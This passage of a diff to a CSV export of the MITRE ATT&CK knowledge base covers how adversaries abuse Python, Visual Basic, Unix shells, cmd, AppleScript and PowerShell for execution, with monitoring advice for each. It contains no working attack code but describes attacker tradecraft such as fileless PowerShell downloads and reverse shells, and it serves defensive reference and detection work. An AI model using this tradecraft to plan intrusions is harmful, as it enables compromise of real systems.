Command Execution', 'Process: Process Creation']",,,,,"Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. +Python comes with many built-in packages to interact with the underlying system, such as file operations and device I/O. Adversaries can use these libraries to download and execute commands or other scripts as well as perform various malicious behaviors.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/006', 'external_id': 'T1059.006'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation']",,"Monitor systems for abnormal Python usage and python.exe behavior, which could be an indicator of malicious activity. Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. -Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",,,,,True,,,"['Administrator', 'SYSTEM', 'root']","['Linux', 'Windows', 'macOS']",,['Python is installed.'],,1.0 -2020-03-09 14:29:51.508000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft) +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",True,"['Administrator', 'SYSTEM', 'root']","['Linux', 'Windows', 'macOS']",1.0,False,['Python is installed.'],,,,, +attack-pattern,attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T14:29:51.508Z,2021-08-16T21:03:21.051Z,Visual Basic,"Adversaries may abuse Visual Basic (VB) for execution. VB is a programming language created by Microsoft with interoperability with many Windows technologies such as [Component Object Model](https://attack.mitre.org/techniques/T1559/001) and the [Native API](https://attack.mitre.org/techniques/T1106) through the Windows API. Although tagged as legacy with no planned future evolutions, VB is integrated and supported in the .NET Framework and cross-platform .NET Core.(Citation: VB .NET Mar 2020)(Citation: VB Microsoft) Derivative languages based on VB have also been created, such as Visual Basic for Applications (VBA) and VBScript. VBA is an event-driven programming language built into Microsoft Office, as well as several third-party applications.(Citation: Microsoft VBA)(Citation: Wikipedia VBA) VBA enables documents to contain macros used to automate the execution of tasks and other functionality on the host. VBScript is a default scripting language on Windows hosts and can also be used in place of [JavaScript](https://attack.mitre.org/techniques/T1059/007) on HTML Application (HTA) webpages served to Internet Explorer (though most modern browsers do not come with VBScript support).(Citation: Microsoft VBScript) -Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1059/005', external_id='T1059.005'), ExternalReference(source_name='VB .NET Mar 2020', description='.NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.', url='https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/'), ExternalReference(source_name='VB Microsoft', description='Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.', url='https://docs.microsoft.com/dotnet/visual-basic/'), ExternalReference(source_name='Microsoft VBA', description='Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.', url='https://docs.microsoft.com/office/vba/api/overview/'), ExternalReference(source_name='Wikipedia VBA', description='Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.', url='https://en.wikipedia.org/wiki/Visual_Basic_for_Applications'), ExternalReference(source_name='Microsoft VBScript', description='Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.', url='https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)')]",attack-pattern--dfd7cc1d-e1d8-4394-a198-97c4cab8aa67,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-08-13 20:09:39.122000+00:00,Visual Basic,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']",,,,,"Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source. +Adversaries may use VB payloads to execute malicious commands. Common malicious usage includes automating execution of behaviors with VBScript or embedding VBA content into [Spearphishing Attachment](https://attack.mitre.org/techniques/T1566/001) payloads.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/005', 'external_id': 'T1059.005'}, {'source_name': 'VB .NET Mar 2020', 'description': '.NET Team. (2020, March 11). Visual Basic support planned for .NET 5.0. Retrieved June 23, 2020.', 'url': 'https://devblogs.microsoft.com/vbteam/visual-basic-support-planned-for-net-5-0/'}, {'source_name': 'VB Microsoft', 'description': 'Microsoft. (n.d.). Visual Basic documentation. Retrieved June 23, 2020.', 'url': 'https://docs.microsoft.com/dotnet/visual-basic/'}, {'source_name': 'Microsoft VBA', 'description': 'Microsoft. (2019, June 11). Office VBA Reference. Retrieved June 23, 2020.', 'url': 'https://docs.microsoft.com/office/vba/api/overview/'}, {'source_name': 'Wikipedia VBA', 'description': 'Wikipedia. (n.d.). Visual Basic for Applications. Retrieved August 13, 2020.', 'url': 'https://en.wikipedia.org/wiki/Visual_Basic_for_Applications'}, {'source_name': 'Microsoft VBScript', 'description': 'Microsoft. (2011, April 19). What Is VBScript?. Retrieved March 28, 2020.', 'url': 'https://docs.microsoft.com/previous-versions//1kw29xwf(v=vs.85)'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation', 'Module: Module Load', 'Script: Script Execution']",,"Monitor for events associated with VB execution, such as Office applications spawning processes, usage of the Windows Script Host (typically cscript.exe or wscript.exe), file activity involving VB payloads or scripts, or loading of modules associated with VB languages (ex: vbscript.dll). VB execution is likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other programable post-compromise behaviors and could be used as indicators of detection leading back to the source. -Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.",,,,,True,,,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS', 'Linux']",,,,1.1 -2020-03-09 14:15:05.330000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges. +Understanding standard usage patterns is important to avoid a high number of false positives. If VB execution is restricted for normal users, then any attempts to enable related components running on a system would be considered suspicious. If VB execution is not commonly used on a system, but enabled, execution running out of cycle from patching or other administrator functions is suspicious. Payloads and scripts should be captured from the file system when possible to determine their actions and intent.",True,"['User', 'Administrator', 'SYSTEM']","['Windows', 'macOS', 'Linux']",1.2,,,,,,, +attack-pattern,attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T14:15:05.330Z,2021-07-26T22:34:43.261Z,Unix Shell,"Adversaries may abuse Unix shell commands and scripts for execution. Unix shells are the primary command prompt on Linux and macOS systems, though many variations of the Unix shell exist (e.g. sh, bash, zsh, etc.) depending on the specific OS or distribution.(Citation: DieNet Bash)(Citation: Apple ZShell) Unix shells can control every aspect of a system, with certain commands requiring elevated privileges. Unix shells also support scripts that enable sequential execution of commands as well as other typical programming operations such as conditionals and loops. Common uses of shell scripts include long or repetitive tasks, or the need to run the same set of commands on multiple systems. -Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1059/004', external_id='T1059.004'), ExternalReference(source_name='DieNet Bash', description='die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.', url='https://linux.die.net/man/1/bash'), ExternalReference(source_name='Apple ZShell', description='Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.', url='https://support.apple.com/HT208050')]",attack-pattern--a9d4b653-6915-42af-98b2-5758c4ceee56,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-06-15 16:55:44.483000+00:00,Unix Shell,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Process: Process Creation']",,,,,"Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. +Adversaries may abuse Unix shells to execute various commands or payloads. Interactive shells may be accessed through command and control channels or during lateral movement such as with [SSH](https://attack.mitre.org/techniques/T1021/004). Adversaries may also leverage shell scripts to deliver and execute multiple commands on victims or as part of payloads used for persistence.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/004', 'external_id': 'T1059.004'}, {'source_name': 'DieNet Bash', 'description': 'die.net. (n.d.). bash(1) - Linux man page. Retrieved June 12, 2020.', 'url': 'https://linux.die.net/man/1/bash'}, {'source_name': 'Apple ZShell', 'description': 'Apple. (2020, January 28). Use zsh as the default shell on your Mac. Retrieved June 12, 2020.', 'url': 'https://support.apple.com/HT208050'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation']",,"Unix shell usage may be common on administrator, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. -Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ",,,,,True,,,"['User', 'root']","['macOS', 'Linux']",,,,1.0 -2020-03-09 14:12:31.196000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information discovery, collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. ",True,"['User', 'root']","['macOS', 'Linux']",1.1,True,,,,,, +attack-pattern,attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T14:12:31.196Z,2021-07-26T17:13:07.345Z,Windows Command Shell,"Adversaries may abuse the Windows command shell for execution. The Windows command shell ([cmd](https://attack.mitre.org/software/S0106)) is the primary command prompt on Windows systems. The Windows command prompt can be used to control almost any aspect of a system, with various permission levels required for different subsets of commands. The command prompt can be invoked remotely via [Remote Services](https://attack.mitre.org/techniques/T1021) such as [SSH](https://attack.mitre.org/techniques/T1021/004).(Citation: SSH in Windows) Batch files (ex: .bat or .cmd) also provide the shell with a list of sequential commands to run, as well as normal scripting operations such as conditionals and loops. Common uses of batch files include long or repetitive tasks, or the need to run the same set of commands on multiple systems. -Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1059/003', external_id='T1059.003')]",attack-pattern--d1fcf083-a721-4223-aedf-bf8960798d62,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2021-04-14 15:36:02.195000+00:00,Windows Command Shell,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,,"['Command: Command Execution', 'Process: Process Creation']",,,,,"Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. +Adversaries may leverage [cmd](https://attack.mitre.org/software/S0106) to execute various commands and payloads. Common uses include [cmd](https://attack.mitre.org/software/S0106) to execute a single command, or abusing [cmd](https://attack.mitre.org/software/S0106) interactively with input and output forwarded over a command and control channel.","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/003', 'external_id': 'T1059.003'}, {'source_name': 'SSH in Windows', 'description': 'Microsoft. (2020, May 19). Tutorial: SSH in Windows Terminal. Retrieved July 26, 2021.', 'url': 'https://docs.microsoft.com/en-us/windows/terminal/tutorials/ssh'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],,"['Command: Command Execution', 'Process: Process Creation']",,"Usage of the Windows command shell may be common on administrator, developer, or power user systems depending on job function. If scripting is restricted for normal users, then any attempt to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent. -Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",,,,,True,,,['User'],['Windows'],,,,1.1 -2020-03-09 14:07:54.329000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. +Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.",True,['User'],['Windows'],1.2,True,,,,,, +attack-pattern,attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T14:07:54.329Z,2020-08-03T21:40:51.878Z,AppleScript,"Adversaries may abuse AppleScript for execution. AppleScript is a macOS scripting language designed to control applications and parts of the OS via inter-application messages called AppleEvents.(Citation: Apple AppleScript) These AppleEvent messages can be sent independently or easily scripted with AppleScript. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. Scripts can be run from the command-line via osascript /path/to/script or osascript -e ""script here"". Aside from the command line, scripts can be executed in numerous ways including Mail rules, Calendar.app alarms, and Automator workflows. AppleScripts can also be executed as plain text shell scripts by adding #!/usr/bin/osascript to the start of the script file.(Citation: SentinelOne AppleScript) AppleScripts do not need to call osascript to execute, however. They may be executed from within mach-O binaries by using the macOS [Native API](https://attack.mitre.org/techniques/T1106)s NSAppleScript or OSAScript, both of which execute code independent of the /usr/bin/osascript command line utility. -Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1059/002', external_id='T1059.002'), ExternalReference(source_name='Apple AppleScript', description='Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.', url='https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html'), ExternalReference(source_name='SentinelOne AppleScript', description='Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.', url='https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/'), ExternalReference(source_name='SentinelOne macOS Red Team', description='Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.', url='https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/'), ExternalReference(source_name='Macro Malware Targets Macs', description='Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.', url='https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/')]",attack-pattern--37b11151-1776-4f8f-b328-30939fbf2ceb,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-08-03 21:40:51.878000+00:00,AppleScript,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,"['Phil Stokes, SentinelOne']","['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution']",,,,,"Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. +Adversaries may abuse AppleScript to execute various behaviors, such as interacting with an open SSH connection, moving to remote machines, and even presenting users with fake dialog boxes. These events cannot start applications remotely (they can start them locally), but they can interact with applications if they're already running remotely. On macOS 10.10 Yosemite and higher, AppleScript has the ability to execute [Native API](https://attack.mitre.org/techniques/T1106)s, which otherwise would require compilation and execution in a mach-O binary file format.(Citation: SentinelOne macOS Red Team). Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via [Python](https://attack.mitre.org/techniques/T1059/006).(Citation: Macro Malware Targets Macs)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/002', 'external_id': 'T1059.002'}, {'source_name': 'Apple AppleScript', 'description': 'Apple. (2016, January 25). Introduction to AppleScript Language Guide. Retrieved March 28, 2020.', 'url': 'https://developer.apple.com/library/archive/documentation/AppleScript/Conceptual/AppleScriptLangGuide/introduction/ASLR_intro.html'}, {'source_name': 'SentinelOne AppleScript', 'description': 'Phil Stokes. (2020, March 16). How Offensive Actors Use AppleScript For Attacking macOS. Retrieved July 17, 2020.', 'url': 'https://www.sentinelone.com/blog/how-offensive-actors-use-applescript-for-attacking-macos/'}, {'source_name': 'SentinelOne macOS Red Team', 'description': 'Phil Stokes. (2019, December 5). macOS Red Team: Calling Apple APIs Without Building Binaries. Retrieved July 17, 2020.', 'url': 'https://www.sentinelone.com/blog/macos-red-team-calling-apple-apis-without-building-binaries/'}, {'source_name': 'Macro Malware Targets Macs', 'description': 'Yerko Grbic. (2017, February 14). Macro Malware Targets Macs. Retrieved July 8, 2017.', 'url': 'https://www.mcafee.com/blogs/other-blogs/mcafee-labs/macro-malware-targets-macs/'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],"['Phil Stokes, SentinelOne']","['Command: Command Execution', 'Process: Process Creation', 'Process: OS API Execution']",,"Monitor for execution of AppleScript through osascript and usage of the NSAppleScript and OSAScript APIs that may be related to other suspicious behavior occurring on the system. Scripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information [Discovery](https://attack.mitre.org/tactics/TA0007), [Collection](https://attack.mitre.org/tactics/TA0009), or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script. -Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",,,,,True,,,['User'],['macOS'],,,,1.1 -2020-03-09 13:48:55.078000+00:00,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,"Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems). +Understanding standard usage patterns is important to avoid a high number of false positives. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.",True,['User'],['macOS'],1.1,,,,,,, +attack-pattern,attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736,identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5,2020-03-09T13:48:55.078Z,2021-05-28T14:56:23.748Z,PowerShell,"Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system. (Citation: TechNet PowerShell) Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the Start-Process cmdlet which can be used to run an executable and the Invoke-Command cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems). PowerShell may also be used to download and run executables from the Internet, which can be executed from disk or in memory without touching disk. A number of PowerShell-based offensive testing tools are available, including [Empire](https://attack.mitre.org/software/S0363), [PowerSploit](https://attack.mitre.org/software/S0194), [PoshC2](https://attack.mitre.org/software/S0378), and PSAttack.(Citation: Github PSAttack) -PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)","[ExternalReference(source_name='mitre-attack', url='https://attack.mitre.org/techniques/T1059/001', external_id='T1059.001'), ExternalReference(source_name='TechNet PowerShell', description='Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.', url='https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx'), ExternalReference(source_name='Github PSAttack', description='Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.', url='https://github.com/jaredhaight/PSAttack'), ExternalReference(source_name='Sixdub PowerPick Jan 2016', description='Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.', url='http://www.sixdub.net/?p=367'), ExternalReference(source_name='SilentBreak Offensive PS Dec 2015', description='Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.', url='https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/'), ExternalReference(source_name='Microsoft PSfromCsharp APR 2014', description='Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.', url='https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/'), ExternalReference(source_name='Malware Archaeology PowerShell Cheat Sheet', description='Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.', url='http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf'), ExternalReference(source_name='FireEye PowerShell Logging 2016', description='Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.', url='https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html')]",attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736,"[KillChainPhase(kill_chain_name='mitre-attack', phase_name='execution')]",2020-06-24 13:51:22.360000+00:00,PowerShell,['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],False,attack-pattern,['Praetorian'],"['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,,,,"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. +PowerShell commands/scripts can also be executed without directly invoking the powershell.exe binary through interfaces to PowerShell's underlying System.Management.Automation assembly DLL exposed through the .NET framework and Windows Common Language Interface (CLI). (Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015)(Citation: Microsoft PSfromCsharp APR 2014)","[{'kill_chain_name': 'mitre-attack', 'phase_name': 'execution'}]","[{'source_name': 'mitre-attack', 'url': 'https://attack.mitre.org/techniques/T1059/001', 'external_id': 'T1059.001'}, {'source_name': 'TechNet PowerShell', 'description': 'Microsoft. (n.d.). Windows PowerShell Scripting. Retrieved April 28, 2016.', 'url': 'https://technet.microsoft.com/en-us/scriptcenter/dd742419.aspx'}, {'source_name': 'Github PSAttack', 'description': 'Haight, J. (2016, April 21). PS>Attack. Retrieved June 1, 2016.', 'url': 'https://github.com/jaredhaight/PSAttack'}, {'source_name': 'Sixdub PowerPick Jan 2016', 'description': 'Warner, J.. (2015, January 6). Inexorable PowerShell – A Red Teamer’s Tale of Overcoming Simple AppLocker Policies. Retrieved December 8, 2018.', 'url': 'http://www.sixdub.net/?p=367'}, {'source_name': 'SilentBreak Offensive PS Dec 2015', 'description': 'Christensen, L.. (2015, December 28). The Evolution of Offensive PowerShell Invocation. Retrieved December 8, 2018.', 'url': 'https://silentbreaksecurity.com/powershell-jobs-without-powershell-exe/'}, {'source_name': 'Microsoft PSfromCsharp APR 2014', 'description': 'Babinec, K. (2014, April 28). Executing PowerShell scripts from C#. Retrieved April 22, 2019.', 'url': 'https://blogs.msdn.microsoft.com/kebab/2014/04/28/executing-powershell-scripts-from-c/'}, {'source_name': 'Malware Archaeology PowerShell Cheat Sheet', 'description': 'Malware Archaeology. (2016, June). WINDOWS POWERSHELL LOGGING CHEAT SHEET - Win 7/Win 2008 or later. Retrieved June 24, 2016.', 'url': 'http://www.malwarearchaeology.com/s/Windows-PowerShell-Logging-Cheat-Sheet-ver-June-2016-v2.pdf'}, {'source_name': 'FireEye PowerShell Logging 2016', 'description': 'Dunwoody, M. (2016, February 11). GREATER VISIBILITY THROUGH POWERSHELL LOGGING. Retrieved February 16, 2016.', 'url': 'https://www.fireeye.com/blog/threat-research/2016/02/greater_visibilityt.html'}]",['marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168'],['Praetorian'],"['Command: Command Execution', 'Module: Module Load', 'Process: Process Creation', 'Script: Script Execution']",,"If proper execution policy is set, adversaries will likely be able to define their own execution policy if they obtain administrator or system access, either through the Registry or at the command line. This change in policy on a system may be a way to detect malicious use of PowerShell. If PowerShell is not used in an environment, then simply looking for PowerShell execution may detect malicious activity. Monitor for loading and/or execution of artifacts associated with PowerShell specific assemblies, such as System.Management.Automation.dll (especially to unusual process names/locations).(Citation: Sixdub PowerPick Jan 2016)(Citation: SilentBreak Offensive PS Dec 2015) -It is also 